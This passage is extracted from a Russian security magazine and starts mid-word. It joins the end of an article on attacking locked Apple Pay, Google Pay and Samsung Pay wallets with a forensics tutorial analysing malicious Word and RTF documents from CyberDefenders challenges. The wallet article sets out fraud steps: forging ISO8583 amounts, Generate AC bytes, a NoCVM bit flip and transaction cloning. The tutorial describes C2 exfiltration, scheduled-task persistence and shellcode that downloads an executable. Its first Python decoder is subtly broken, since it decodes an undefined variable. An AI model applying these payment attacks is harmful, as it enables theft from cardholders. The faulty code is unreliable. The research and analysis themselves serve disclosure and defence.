оза­пись этой ата­ки.

Мож­но ли как‑то совер­шать пла­тежи по  кар­там Visa и  дру­гим, нап­ример


American Express, если телефон заб­локиро­ван? Не  обна­ружив никако­го дру‐­
гого спо­соба получе­ния крип­тограм­мы, кро­ме зап­роса авто­риза­ции на  сум‐­
му  0.00, я решил вос­поль­зовать­ся ата­кой Transaction Stream Manipulation.
В  ходе этой ата­ки дан­ные под­меня­ются не  меж­ду тер­миналом и  кар­той
или  кошель­ком, а  меж­ду тер­миналом и  бан­ком‑эквай­ером, в  зап­росе
ISO8583 Authorisation Request. В этом слу­чае у зло­умыш­ленни­ка боль­ше воз‐­
можнос­тей для  манипу­ляции полями. Нап­ример, поле «сум­ма» фигури­рует
в  этом зап­росе дваж­ды: в  пер­вый раз в  поле [55]  — там, где соб­раны все
поля EMV, а во вто­рой раз — в поле [04], где ука­зыва­ется реаль­но спи­сыва‐­
емая сум­ма.
В таком слу­чае ата­ка на  дру­гие кар­ты, в  том чис­ле Visa, выг­лядит сле‐­
дующим обра­зом:
1. Зап­рашива­ем крип­тограм­му на 0.00 так же, как ее зап­рашива­ет тер­минал
в мет­ро.
2. Соз­даем зап­рос ISO8583, где ука­зыва­ем кор­рек­тные поля (сум­ма — 0.00,
крип­тограм­ма и  так далее), но  в поле [04] ука­зыва­ем ту сум­му, которую
хотим спи­сать с кар­ты.

Хо­тя кошелек с кар­той Visa передал информа­цию о том, что телефон не был
раз­бло­киро­ван, эта тран­закция была одоб­рена Visa Tokenisation Service.

АТАКУЕМ APPLE PAY


Ког­да‑то кор­порация Apple объ­явля­ла, что про­изво­димые ею телефо­ны
научи­лись под­держи­вать пла­тежи с заб­локиро­ван­ным экра­ном, на нес­коль­ко
месяцев рань­ше сво­их кон­курен­тов. Одна­ко мне дол­гое вре­мя не уда­валось
про­верить их безопас­ность. Основная заг­воз­дка была в  том, что телефон
не  акти­виро­вал поле NFC с  помощью обыч­ных тер­миналов и  бес­контак­тных
ридеров. Я упор­но гуг­лил, как  работа­ет Apple VAS (Value Additional Services)
и пытал­ся поль­зовать­ся помощью кол­лег для ревер­са бинарей Apple Pay (их
наз­вания я поза­имс­тво­вал из  пре­зен­тации Питера Фил­лмо­ра). Ког­да я про‐
водил опе­рации в мет­ро, Proxmark3 не записал никаких допол­нитель­ных дан‐­
ных, что при­вело меня в рас­терян­ность.
Ког­да я закон­чил тес­ты с  Samsung Pay, я все еще  не знал, что делать
с  Apple Pay, и  был в  отча­янии. Единс­твен­ным тер­миналом, которым я мог
поль­зовать­ся на тот момент, был тер­минал у тур­никета мет­ро. Я решил: если
я смо­гу записать крип­тограм­му тран­закции в  мет­рополи­тене, но  сама тран‐­
закция не  прой­дет, то я при­ду домой и  поп­робую вста­вить крип­тограм­му
в  Transaction Stream, как  это делалось с  вари­антом Samsung + Visa. Пос­ле
нес­коль­ких попыток мне уда­лось пов­торить ата­ку вто­рого типа по отно­шению
к связ­ке Apple + Visa.
Тог­да же один умный инже­нер дал мне совет не исполь­зовать Proxmark3,
а  взять что‑то более надеж­ное, нап­ример HydraNFC. Пос­ледовав это­му
совету, я быс­тро уви­дел в  тра­фике «неч­то»  — 15  байт, которые отсы­лались
до  пер­вых команд. Тог­да мне было труд­но поверить, что все­го  15  байт раз‐­
бло­киру­ют NFC в  iPhone, так как  я мно­го читал в  патен­тах про  PKI, исполь‐­
зуемые Apple в  VAS. Но  это дей­стви­тель­но ока­залось имен­но так: все‐­
го  15  байт, и  телефон поз­волял читать дан­ные по  NFC даже с  раз­ряжен­ных
устрой­ств.

Пос­мотрим, как выг­лядит генера­ция крип­тограм­мы кар­той MasterCard, задан‐­


ной как тран­спортная кар­та в Apple Pay:

->

80ae900041 — заголовок Generate AC (обязательна


офлайн-аутентификация CDA)

000000000000000000000000 — сумма равна 0.00

4111 — код MCC из категории «Транспорт»

082600200000000826210307006359313725000000000000000000003f0002 —
остальные поля

В отли­чие от Samsung, Apple вер­нет онлайн‑крип­тограм­му, даже если сум­ма


не будет рав­на 0.00 (сот­рудни­ки Apple заяви­ли, что исполь­зуют или собира‐­
ются исполь­зовать эту фун­кцию, так что «это не баг»).
Од­нако при  под­мене кода MCC тран­закция будет откло­нена из‑за CDA.
Пос­ле июня  2021  года MasterCard зак­рыла воз­можность Card Brand Mixup
Attack, поэто­му опла­тить в про­изволь­ном тер­минале этой кар­той не удас­тся.
Но  я все еще  мог про­водить ата­ки с  исполь­зовани­ем Transaction Stream
Manipulation.
А что же с кар­тами Visa? Ими мож­но рас­пла­чивать­ся в любом супер­марке‐­
те мира по заб­локиро­ван­ному iPhone, для это­го нуж­но лишь под­менить нес‐­
коль­ко бай­тов при  обме­не меж­ду тер­миналом и  телефо­ном. Да  ты и  сам
об  этом уже, ско­рее все­го, читал: иссле­дова­тели из  уни­вер­ситетов Бир‐­
минге­ма и Сур­рея обна­ружи­ли эту уяз­вимость незави­симо от меня при­мер­но
в  это же вре­мя. Эта уяз­вимость до  сих пор сущес­тву­ет, нес­мотря на  то что
для  ее устра­нения Visa нуж­но добавить все­го лишь одно малень­кое усло­вие
в сво­ем токени­заци­онном сер­висе.

АТАКУЕМ GOOGLE PAY


Мы уже показы­вали в 2019 году, как мож­но совер­шать пла­тежи на заб­локиро‐­
ван­ном кошель­ке Google Pay по кар­там Visa выше лимитов NoCVM: для это­го
нуж­но лишь поменять бит в  поле TTQ, ука­зыва­ющий, что тре­бует­ся верифи‐­
кация пла­тель­щика. Обой­ти огра­ниче­ния по  кар­там MasterCard в  прош­лый
раз не  уда­лось, поэто­му я решил поп­робовать еще. Вмес­то модифи­кации
Transaction Stream я вос­поль­зовал­ся ста­рой ата­кой, опи­сан­ной Май­клом
Ролан­дом (Michael Roland) в 2013 году, — Pre-play and Downgrade (в пре­дыду‐­
щей статье я по  ошиб­ке написал, что ата­ку раз­работал Питер Фил­лмор
в 2014 году, но это не так).
Для меня оста­валось загад­кой, почему режим M-STRIPE до  сих пор
работа­ет в  кошель­ках Google Pay для  всех карт MasterCard. Я решил иссле‐­
довать его чуть пог­лубже — пос­мотреть на мак­сималь­ную энтро­пию, защиту
от скач­ков ATC и дру­гие механиз­мы защиты.
Вы­ясни­лось сле­дующее.
1. Мак­сималь­ная энтро­пия по кар­там — 1000 или 10 000. Дру­гих нас­тро­ек я
не встре­тил. Напом­ню, что кар­та или кошелек с энтро­пией 1000 кло­ниру‐­
ется пол­ностью за 1000 зап­росов, на это ухо­дит око­ло минуты. Далее зло‐­
умыш­ленни­ку не  нужен ори­гиналь­ный телефон  — он может совер­шать
покуп­ки с  исполь­зовани­ем той информа­ции, которая была кло­ниро­вана.
Количес­тво тран­закций зависит от дру­гих внед­ренных мер безопас­ности.
2. Ог­раниче­ния NoCVM на заб­локиро­ван­ном телефо­не обхо­дят­ся так­же под‐­
меной  1  бита в  зап­росе от  тер­минала, что поз­воля­ет совер­шать пла­тежи
выше 3000 руб­лей. У некото­рых тер­миналов, одна­ко, есть отдель­ная кон‐­
фигура­ция, ука­зыва­ющая мак­сималь­ную сум­му пла­тежа в  легаси‑режиме
M-STRIPE.
3. Ес­ли в обыч­ной кар­те счет­чик ATC идет пос­ледова­тель­но: 0001, 0002 и так
далее, то для  мобиль­ного кошель­ка сис­тема MasterCard внед­рила так
называ­емый CryptoATC. При перех­вате команд они выг­лядят как слу­чай­ные
зна­чения из  2  байт A56D, F1A1 и  так далее. В  про­цес­се детоке­низа­ции
МПС прев­раща­ет эти зна­чения в  пос­ледова­тель­ные. Одна­ко даже
при скач­ках в 30–50–100 зна­чений счет­чика мои тран­закции не были заб‐­
локиро­ваны.

Из‑за новых тре­бова­ний PSD2  в  Евро­пе Android огра­ничи­вал количес­тво


тран­закций на  заб­локиро­ван­ном телефо­не до  пяти (сей­час это  зна­чение  —
три или  ноль, зависит от  стра­ны). Это  зас­тавило меня задумать­ся: если
MasterCard и  Google не  про­веря­ют скач­ки ATC, записав толь­ко пять тран‐­
закций, какова веро­ятность вос­про­извести одну из них успешно?
Вос­поль­зуем­ся фор­мулой Бер­нулли, отлично нарисо­ван­ной Арка­дием
Лит­винен­ко спе­циаль­но для таких слу­чаев.

Фор­мула Бер­нулли в исполне­нии Арка­дия Лит­винен­ко

При энтро­пии  1000, если совер­шить  50  попыток опла­ты в  супер­марке­те,


веро­ятность получить слу­чай­ное чис­ло из  пяти записан­ных сос­тавит  14%.
Для 100 попыток — 26%. А при наличии дос­тупа к Transaction Stream каж­дая
из этих записан­ных тран­закций может быть монети­зиро­вана, ведь зло­умыш‐­
ленник в сос­тоянии соз­дать зап­рос на авто­риза­цию, где сам выс­тавит и слу‐­
чай­ное чис­ло, и зна­чения CVC3/ATC.
Бо­лее того, в слу­чае дос­тупа к Transaction Stream и при отсутс­твии защиты
от  перебо­ра пар ATC/CVC3, если у  зло­умыш­ленни­ка есть толь­ко токен
(16  цифр вир­туаль­ной кар­ты и  expiry date), ему пот­ребу­ется мак‐­
симум 65 535 попыток, что­бы соз­дать и успешно авто­ризо­вать мошен­ничес‐­
кую тран­закцию.
Ес­ли все, что нуж­но сде­лать мошен­никам в дан­ном слу­чае, — быть нас­той‐­
чивыми, «тапая» в  супер­марке­те  50–100  раз, каж­дый раз ожи­дая успе­ха,
или  посылать зап­росы на  авто­риза­цию на  сер­веры токени­зации MasterCard
MDES, то успех, увы, им гаран­тирован.

ИТОГИ
Я обна­ружил нес­коль­ко спо­собов ата­ковать укра­ден­ные мобиль­ные кошель‐­
ки, если на устрой­стве воз­можна опла­та без раз­бло­киров­ки телефо­на. Так­же
я нашел новую инте­рес­ную ата­ку на  про­токол EMV  — Cryptogram Confusion.
С  помощью нее мож­но ата­ковать не  толь­ко мобиль­ные кошель­ки, но  и чи‐­
повые/бес­контак­тные кар­ты.
Мне уда­лось совер­шить пла­теж по кло­ниро­ван­ным тран­закци­ям кошель­ка
Google Pay c при­вязан­ной MasterCard даже при огра­ниче­нии в пять попыток.
Ког­да же дело дош­ло до обще­ния с мобиль­ными вен­дорами и МПС, ито­ги
ока­зались неуте­шитель­ными:
1. Обо всех недос­татках Google была опо­веще­на в фев­рале. Они сооб­щили,
что в  кур­се проб­лем и  пла­ниру­ют зак­рыть воз­можность пла­тежей на  заб‐­
локиро­ван­ном экра­не. Это  реали­зова­но соз­дани­ем отдель­ной опции
в нас­трой­ках NFC пос­ле фев­раля 2021 года. Так­же во всех реги­онах раз‐­
работ­чики умень­шили чис­ло тран­закций на  заб­локиро­ван­ном телефо­не.
Осталь­ные уяз­вимос­ти были про­игно­риро­ваны.
2. Apple, Samsung, MasterCard были опо­веще­ны вес­ной 2021 года, и завер‐­
телось… Apple заяви­ла, что  15  байт для  акти­вации NFC  — дос­таточ­ная
защита для поль­зовате­лей. Все мобиль­ные вен­доры под­няли лап­ки квер­ху
и, ска­зав, что не  име­ют пра­ва менять код кошель­ков, поп­росили раз‐­
решения поделить­ся наход­ками с МПС. Пос­ле того как раз­решения были
даны, мою стра­ницу в  LinkedIn мно­го раз посеща­ли ува­жаемые люди
из всех МПС, но ник­то никог­да со мной так и не свя­зал­ся.

Ле­том это­го года MasterCard не толь­ко зак­рыла лазей­ку для Card Brand Mixup
Attack от  швей­цар­ских иссле­дова­телей, но  и устра­нила лазей­ку
для  Cryptogram Confusion. Я обна­ружил это  слу­чай­но толь­ко в  октябре,
при под­готов­ке к выс­тупле­нию. Помимо это­го, во мно­гих реги­онах поле MCC
было добав­лено в  крип­тограм­му, что дела­ет под­мену MCC невоз­можной
даже во  вре­мя Transaction Stream Manipulation. Поменял­ся метод пред­став‐­
ления ATC/AAC на  заб­локиро­ван­ных телефо­нах Samsung, что и  навело меня
на  мыс­ли о  пат­че. Вер­сию пат­ча я смог выпытать у  Samsung (апдейт MPBP
1.2.2, May 27, 2021).
Visa не  силь­но пережи­вает из‑за все еще  сущес­тву­ющей воз­можнос­ти
совер­шать пла­тежи на  укра­ден­ных и  раз­ряжен­ных телефо­нах Apple и  еще
мень­ше — из‑за манипу­ляций тран­закци­онным потоком. Они верят в машин‐­
ное обу­чение, риск‑ори­енти­рован­ную модель и, ско­рее все­го, заняты раз‐­
вити­ем биз­неса или  дру­гими инте­рес­ными воз­можнос­тями, а  не безопас‐­
ностью сво­их кли­ентов.
Ата­ки, которые воз­можны до сих пор:
1. Тран­спортная кар­та Visa + Apple Pay  — без­лимит­ные пла­тежи на  заб‐­
локиро­ван­ном, раз­ряжен­ном или  укра­ден­ном устрой­стве. Так­же до  сих
пор воз­можны пла­тежи по  кошель­кам Visa + Google Pay, тут с  2019  года
ничего не изме­нилось.
2. MasterCard + Google Pay  — воз­можно кло­ниро­вание тран­закций, ког­да
укра­ден­ной информа­ции будет дос­таточ­но для  совер­шения опре­делен‐­
ного чис­ла пла­тежей.
3. Ос­таль­ные вари­ации кар­та + кошелек  — ата­ки воз­можны толь­ко
при манипу­ляции Transaction Stream.

Для того что­бы по‑нас­тояще­му защитить­ся от  зло­упот­ребле­ния пла­тежа­ми


на  заб­локиро­ван­ном телефо­не, самое опти­маль­ное решение  — све­рять
катего­рию мер­чанта и сум­му со зна­чени­ями CVR:
• поль­зователь совер­шил пла­теж на  100  дол­ларов, телефон был раз­бло‐­
киро­ван, мер­чант — супер­маркет, нет проб­лем;
• ав­ториза­ция на 0.00 или спи­сание на боль­шую сум­му, телефон не раз­бло‐­
киро­ван, мер­чант — тран­спорт, тоже нет проб­лем;
• ав­ториза­ция на  0.00, спи­сание на  боль­шую сум­му, телефон не  раз­бло‐­
киро­ван, мер­чант  — супер­маркет, это  уже подоз­ритель­но, и  такие тран‐­
закции нуж­но откло­нять.

Что делать бан­кам‑эми­тен­там? Я нес­коль­ко раз слы­шал о том, что во вре­мя


токени­зиро­ван­ных тран­закций банк может зап­росить допол­нитель­ную
информа­цию от МПС для при­нятия решений, в час­тнос­ти поля EMV, которые
в  обыч­ном слу­чае не  покида­ют токени­затор. Нас­коль­ко слож­но это  делать
и  сколь­ко это  сто­ит (все сер­висы МПС пре­дос­тавля­ют по  под­писке), я
не берусь ком­менти­ровать.
Что делать кли­ентам? Давай пред­ста­вим такую кар­тину: ты вла­делец
мобиль­ного кошель­ка, потерял свой телефон и  не заб­локиро­вал кар­ту
по  умол­чанию или  тран­спортную кар­ту (я знаю, что в  Рос­сии тран­спортные
кар­ты не исполь­зуют­ся, но мы же фан­тазиру­ем). Спус­тя какое‑то вре­мя зло‐­
умыш­ленни­ки вос­поль­зовались одной из  ука­зан­ных выше тех­ник и  сня­ли
с тво­его сче­та 1000 дол­ларов. Что про­исхо­дит даль­ше?
1. Ты зво­нишь в  банк, про­сишь заб­локиро­вать кар­ту и  начать раз­биратель‐­
ства.
2. Спус­тя какое‑то вре­мя банк‑эми­тент сооб­щает, что у него нет никаких све‐­
дений о  мошен­ничес­ком харак­тере совер­шенных тран­закций. С  их сто‐­
роны все выг­лядит безобид­но. Воз­можно, ты раз­гла­сил свой ПИН‑код?
3. Попыт­ки общать­ся с  мобиль­ными вен­дорами (Apple, Samsung, Google)
ни  к чему не  при­водят  — они будут утвер­ждать, что пла­тежи воз­можны
толь­ко у  огра­ничен­ных катего­рий мер­чантов и  в лимити­рован­ных сум­мах.
Воз­можно, ты раз­гла­сил свой ПИН‑код?

Что в таком слу­чае оста­ется делать кли­ентам? Отка­зать­ся от исполь­зования


самых ненадеж­ных про­дук­тов.
За пос­ледний год я смог под­твер­дить свои догад­ки  — раз­работ­чики
мобиль­ных кошель­ков уют­но устро­ились, соз­дав «самые безопас­ные фор­мы
пла­тежей», отоб­рав у бан­ков‑эми­тен­тов воз­можнос­ти для при­нятия решений
во вре­мя эмис­сии кошель­ка и авто­риза­ции тран­закций. При этом они же раз‐­
водят руками в  слу­чае мошен­ничес­тва или  даже воз­можнос­ти мошен­ничес‐­
тва, перено­ся ответс­твен­ность на МПС.

WWW
Пре­зен­тацию и  whitepaper, которые я исполь‐­
зовал при под­готов­ке этой статьи, мож­но ска­чать
тут.
ВЗЛОМ

УРОКИ
ФОРЕНЗИКИ
ИССЛЕДУЕМ ВРЕДОНОСНЫЕ ДОКУМЕНТЫ
MICROSOFT OFFICE

rayhunt454
grigadan454@gmail.com

Один из  самых рас­простра­нен­ных век­торов атак на  орга‐­


низа­ции и прос­тых поль­зовате­лей — соци­аль­ная инже­нерия.
Зло­деи при­сыла­ют жер­тве элек­трон­ное пись­мо с  вло­жени‐­
ем, очень час­то  — документ Microsoft Office с  опас­ным
содер­жимым. В  этой статье мы раз­берем­ся, как  ана­лизи‐­
ровать такие докумен­ты и  как искать в  их нед­рах вре­донос‐­
ный код.

Сог­ласно мат­рице MITRE ATT&CK, ата­ка, в которой зло­умыш­ленни­ки исполь‐­


зуют докумен­ты Microsoft Office, называ­ется Spearphising Attachment. Что­бы
рас­ска­зать о  методах ана­лиза при­меня­емых в  таких ата­ках фай­лов, я вос‐­
поль­зуюсь дву­мя задани­ями с  ресур­са CyberDefenders. Пер­вое из  них  —
Obfuscated  — поз­волит нам иссле­довать вре­донос­ный документ в  фор­мате
DOC. С  помощью вто­рого, под  наз­вани­ем Emprisa Maldoc, мы раз­берем,
как зло­умыш­ленни­ки исполь­зуют документ RTF для выпол­нения шелл‑кода.
Су­щес­тву­ют сле­дующие методы выпол­нения вре­донос­ного кода
в докумен­тах Microsoft Office.
1. Вы­пол­нение кода, встро­енно­го в мак­рос VBA.
2. Вы­пол­нение JavaScript в докумен­тах Microsoft Office.
3. Вы­пол­нение полез­ной наг­рузки с  исполь­зовани­ем уяз­вимос­тей в  при‐­
ложе­ниях Microsoft Office.

Для нашей работы мы будем исполь­зовать сле­дующий набор ути­лит:


• oleid — для ана­лиза OLE-фай­лов;
• olevba  — для  извле­чения и  ана­лиза исходно­го кода мак­росов VBA
из докумен­тов MS Office (OLE и OpenXML);
• oledump — для ана­лиза потоков дан­ных OLE-фай­ла;
• rtfdump — для ана­лиза фай­лов фор­мата RTF;
• rtfobj — для извле­чения встро­енных объ­ектов из фай­лов RTF;
• scdbg — для ана­лиза шелл‑кода, ути­лита пос­тро­ена на осно­ве биб­лиоте‐­
ки для эму­ляции libemu.

INFO
Ис­сле­дова­ние мы будем про­водить в  лабора‐­
тории для ана­лиза вре­доно­сов, под­робно опи­сан‐­
ной в  статье «Код под  над­зором. Соз­даем вир‐
туаль­ную лабора­торию для ана­лиза мал­вари».

Все необ­ходимые для  ана­лиза вре­донос­ных докумен­тов ути­литы находят­ся


в катало­ге FLARE\Office вир­туаль­ной машины под управле­нием Windows 10.
А опи­сание обще­го под­хода к это­му самому ана­лизу мож­но най­ти в памят­ке
Лен­ни Зель­цера.
Итак, прис­тупим к  изу­чению фай­лов с  сай­та CyberDefenders. Я не  буду
при­водить отве­ты на  воп­росы из  заданий  — пов­торив все опи­сан­ные ниже
экспе­римен­ты, ты смо­жешь най­ти их сам.

OBFUSCATED
Заг­рузим с  сай­та ар­хив с  задани­ем. Пер­вым делом пос­чита­ем хеш
MD5  содер­жащего­ся в  архи­ве фай­ла (в резуль­тате получит­ся зна­чение
49b367ac261a722a7c2bbbc328c32545) и про­верим его на VirusTotal.
Те­перь получим информа­цию о  струк­туре вре­донос­ного докумен­та.
Для это­го вос­поль­зуем­ся ути­литой oleid.

oleid 49b367ac261a722a7c2bbbc328c32545

Ин­форма­ция об объ­екте иссле­дова­ния

Тул­за опре­дели­ла, что это  документ Microsoft Office Word и  в нем есть VBA-
мак­рос. Его нам пред­сто­ит вытащить наружу. Для начала вос­поль­зуем­ся ути‐­
литой oledump и пос­мотрим, в каком потоке OLE содер­жится VBA-мак­рос.

oledump 49b367ac261a722a7c2bbbc328c32545

По­токи иссле­дуемо­го докумен­та

Мак­рос спря­тал­ся в вось­мом потоке дан­ных. Выг­рузим его при помощи инс‐­


тру­мен­та olevba с клю­чом -a.

olevba -a 49b367ac261a722a7c2bbbc328c32545

Ре­зуль­тат работы ути­литы olevba

В потоке Macros/VBA/Module1 сос­редото­чена основная фун­кци­ональ­ность


вре­донос­ного скрип­та. Из  вывода ути­литы вид­но, какие фун­кции он исполь‐­
зует. Давай извле­чем этот скрипт и нач­нем иссле­довать код.

olevba -c 49b367ac261a722a7c2bbbc328c32545

Учас­ток обфусци­рован­ного кода вре­донос­ного VBA-мак­роса

Фун­кция AutoOpen() запус­кает выпол­нение скрип­та, ког­да документ откры‐­


вают. Что­бы усложнить нам работу, зло­умыш­ленни­ки обфусци­рова­ли код
VBA-мак­роса: име­на перемен­ных пред­став­лены в  фор­мате Base64. Мы
будем вруч­ную деоб­фусци­ровать код и раз­берем его фун­кци­ональ­ность.

INFO
Для деоб­фуска­ции VBA-мак­роса мож­но вос­поль‐­
зовать­ся ути­литой ViperMonkey, которая эму­лиру‐­
ет выпол­нение сце­нария, но  сегод­ня про­ведем
руч­ной ана­лиз.

Нач­нем с фун­кции AutoOpen().

Учас­ток кода фун­кции AutoOpen

На кар­тинке ты видишь выделен­ный фраг­мент кода, содер­жащий нес­коль­ко


очень инте­рес­ных фун­кций. Фун­кция FileLen(ActiveDocument.FullName)
получа­ет раз­мер докумен­та Word и  записы­вает его в  перемен­ную
N18Eoi6OG6T2rNoVl41W. Фун­кция Open(ActiveDocument.FullName) откры‐­
вает документ в  бинар­ном фор­мате, затем записы­вает его содер­жимое
в  перемен­ную E2kvpmR17SI и  пре­обра­зует счи­тан­ные стро­ки в  кодиров­ку
Unicode.
Во вто­ром выделен­ном бло­ке с  исполь­зовани­ем объ­екта vbscript.
regexp выпол­няет­ся поиск такой стро­ки в откры­том фай­ле:

MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74
dlb1SiFOkR1Hh

В перемен­ной Y5t4Ul7o385qK4YDhr хра­нит­ся ука­затель на  пер­вый сим­вол


най­ден­ной стро­ки в исходном докумен­те.

Про­дол­жение учас­тка кода фун­кции AutoOpen

Об­фусци­рован­ный вре­донос­ный код рас­положен пос­ле обна­ружен­ной нами


стро­ки, его раз­мер сос­тавля­ет 16 827 байт.

На­чало полез­ной наг­рузки

Из фай­ла счи­тыва­ется информа­ция начиная с  бай­та 0x503c, далее декоди‐­


рует­ся по  алго­рит­му, который мы раз­берем ниже, и  сох­раня­ется в  файл
%appdata%\Microsoft\Windows\maintools.js. Затем с  помощью WScript.
Shell выпол­няет­ся JS-скрипт maintools.js с  парамет­ром
EzZETcSXyKAdF_e5I2i1.
Да­вай раз­берем алго­ритм декоди­рова­ния и  напишем неболь­шую прог‐­
рамму на Python для получе­ния исходно­го JS-скрип­та.

Фун­кция декоди­рова­ния полез­ной наг­рузки

Для удобс­тва чте­ния кода я пере­име­новал перемен­ные. Алго­ритм декоди‐­


рова­ния очень прост. С  каж­дым бай­том выпол­няет­ся опе­рация XOR (исклю‐­
чающее «или») с клю­чом, который хра­нит­ся в перемен­ной KEY. Пос­ле каж­дого
пре­обра­зова­ния бай­та изме­няет­ся и сам ключ.
На­пишем собс­твен­ный скрипт для  декоди­рова­ния полез­ной наг­рузки,
исполь­зуя Python 3.

import re

def Decode(bVar):
# Алгоритм декодирования полезной нагрузки
result = ""
key = 45
for i in range(0,len(bVar)):
result += chr(bVar[i] ^ key)
key = (key ^ 99) ^ (i % 254)

return result

reg =
b"MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74
dlb1SiFOkR1Hh"

f = open("49b367ac261a722a7c2bbbc328c32545","rb")
w = open("maintools.js","w") # Файл для записи раскодированной
полезной нагрузки

data_read = f.read()

start = re.search(reg,data).span()[1] # Начало полезной нагрузки


stop = start + 16827 # Конец полезной нагрузки

data1 = data_read[start:stop]
w.write(Decode(data))

f.close()
w.close()

Этот скрипт находит стро­ку MxOH8... в иссле­дуемом докумен­те и счи­тыва­ет


дан­ные раз­мером 16 827 байт. Далее по алго­рит­му, реали­зован­ному в фун‐­
кции Decode, он рас­шифро­выва­ет полез­ную наг­рузку и  сох­раня­ет резуль­тат
в файл maintools.js.
Итак, с  помощью нашей прог­раммы мы вытащи­ли рас­шифро­ван­ный JS-
сце­нарий. Пос­мотрим, что у него внут­ри?

Ос­новной код вре­донос­ного скрип­та до пре­обра­зова­ния перемен­ных

Продолжение статьи

ВЗЛОМ ←
НАЧАЛО СТАТЬИ

УРОКИ ФОРЕНЗИКИ
ИССЛЕДУЕМ ВРЕДОНОСНЫЕ ДОКУМЕНТЫ
MICROSOFT OFFICE

В перемен­ную wvy1 сох­раня­ются аргу­мен­ты коман­дной стро­ки. Фун­кция


y3zb() воз­вра­щает основную полез­ную наг­рузку, которая пре­обра­зует­ся
по опре­делен­ному алго­рит­му. Рас­смот­рим эту фун­кцию пов­ниматель­нее.

Учас­ток кода, содер­жащий полез­ную наг­рузку

В перемен­ной qGxZ хра­нит­ся основной вре­донос­ный код, который


перед  выпол­нени­ем декоди­рует­ся. Но  что­бы понять прин­цип рас­шифров­ки,
сна­чала пере­име­нуем наз­вание перемен­ных в скрип­те — прос­то ради удобс‐­
тва.

Ос­новной код пос­ле пре­обра­зова­ния перемен­ных

В фун­кции LXv5 реали­зован алго­ритм декоди­рова­ния Base64, поэто­му пере‐­


име­нуем ее в Base64_decode. Фун­кция CpPT содер­жит алго­ритм шиф­рования
RC4, дадим ей имя RC4(). Этой фун­кции в  качес­тве аргу­мен­та переда­ется
стро­ка EzZETcSXyKAdF_e5I2i1, которая явля­ется аргу­мен­том коман­дной
стро­ки и одновре­мен­но клю­чом для деоб­фуска­ции полез­ной наг­рузки. А рас‐­
шифро­ван­ный код JavaScript выпол­няет фун­кция eval.

Учас­ток кода, в котором реали­зован алго­ритм шиф­рования RC4

В пер­вых двух цик­лах реали­зован алго­ритм Key-scheduling algorithm,


с  помощью которо­го в  даль­нейшем генери­рует­ся ключ. Напишем скрипт
на  Python 3, рас­шифро­выва­ющий полез­ную наг­рузку из  перемен­ной qGxZ
фун­кции y3zb().

from Crypto.Cipher import ARC4


import base64

payload = "zAubgpaJRj0tIneNNZL0 ... rbhue4N84o9YPBy/


SFieRfjQP5lsrSZWJKNJ5ZSbf06ZO4=";
key = b"EzZETcSXyKAdF_e5I2i1"
rc4 = ARC4.new(key)
decode = rc4.decrypt(base64.b64decode(payload))

w = open('result.js','wb')
w.write(decode)
w.close()

Пос­ле пре­обра­зова­ния полез­ной наг­рузки мы получи­ли еще  один код


JavaScript, в котором и реали­зова­на основная фун­кци­ональ­ность.

Учас­ток получен­ного JavaScript-кода

Этот сце­нарий собира­ет информа­цию о  ском­про­мети­рован­ной сис­теме


и отправ­ляет ее на управля­ющие сер­веры.

За­голо­вок отправ­ляемых дан­ных

Из рисун­ка выше виден заголо­вок, который фор­миру­ется для  отправ­ки дан‐­


ных методом POST.

Ме­тод зак­репле­ния в сис­теме

Пос­ле запус­ка вре­донос­ный скрипт копиру­ет себя в сле­дующую пап­ку:

C:\Users\<Пользователь>\AppData\Local\Microsoft\Windows

А затем соз­дает в пла­ниров­щике задач Windows новую задачу, которая запус‐­


кает­ся при вхо­де поль­зовате­ля в сис­тему. Задача име­ет имя Task Manager,
опи­сание Windows Task Manager, а сам скрипт запус­кает­ся из катало­га WPD.
Най­ти в сис­теме это задание мож­но с помощью коман­ды schtasks /query /
fo csv /v, а еще мож­но прос­то зай­ти в пап­ку C:\Windows\System32\Tasks
и отыс­кать в ней под­каталог WPD. Весь свой тра­фик сце­нарий шиф­рует алго‐
рит­мом RC4 с клю­чом 2f532d6baec3d0ec7b1f98aed4774843. Для запус­ка JS-
скрип­та исполь­зует­ся ути­лита коман­дной стро­ки cscript.exe.

EMPRISA MALDOC
Раз­берем задание с вре­донос­ным докумен­том в фор­мате Microsoft Rich Text
Format (RTF). Такие фай­лы очень час­то исполь­зуют­ся зло­умыш­ленни­ками
при фишин­говых ата­ках и, как пра­вило, содер­жат экс­пло­иты.
Для начала соберем информа­цию об  объ­екте иссле­дова­ния с  помощью
ути­литы rtfobj.

rtfobj c39-EmprisaMaldoc.rtf

Вы­вод работы ути­литы rtfobj

Тул­за опре­дели­ла, что RTF-документ содер­жит встро­енный объ­ект.


Для  выпол­нения вре­донос­ного кода исполь­зует­ся уяз­вимость CVE-2017-
11882, экс­плу­ати­рующая перепол­нение буфера в  редак­торе Microsoft
Equation. Про­ана­лизи­руем этот файл с помощью ути­литы rtfdump.

rtfdump c39-EmprisaMaldoc.rtf

Объ­екты, рас­положен­ные в иссле­дуемом фай­ле

Как вид­но из  рисун­ка, в  докумен­те спря­тан объ­ект с  име­нем Equation.e,


magic-байт d0cf11e0. Иссле­дуем поток 7, затем выг­рузим из него OLE-объ‐­
ект и сох­раним в файл objrtf.

rtfdump c39-EmprisaMaldoc.rtf -s 7 -H -E -d > objrtf

По­лучен­ный OLE-объ­ект мож­но изу­чить при помощи ути­литы oledump.

oledump objrtf

Ана­лиз OLE-объ­екта

Пос­ле стро­ки Equation Native в шес­тнад­цатерич­ном пред­став­лении содер‐­


жится обфусци­рован­ный шелл‑код. Сох­раним его дамп в файл shell.

oledump objrtf -s 4 -d > shell

Шес­тнад­цатерич­ное зна­чение шелл‑кода

Что­бы разоб­рать­ся, как  работа­ет этот шелл‑код, нам понадо­бит­ся ути­лита


scdbg. Запус­тим ее с  парамет­ром /findsc, который эму­лиру­ет выпол­нение
шелл‑кода при каж­дом сме­щении в фай­ле.

scdbg /f shell findsc

Эму­ляция вре­донос­ного шелл‑кода

Фун­кция LoadLibraryA заг­ружа­ет динами­чес­кую биб­лиоте­ку urlmon.dll.


Далее с  исполь­зовани­ем фун­кции URLDownloadToFileA из  этой биб­лиоте­ки
с  ресур­са raw.githubusercontent.com ска­чива­ется полез­ная наг­рузка
и  сох­раня­ется в  файл o.exe. Затем выпол­няет­ся выход из  про­цес­са
с помощью фун­кции ExitProcess.
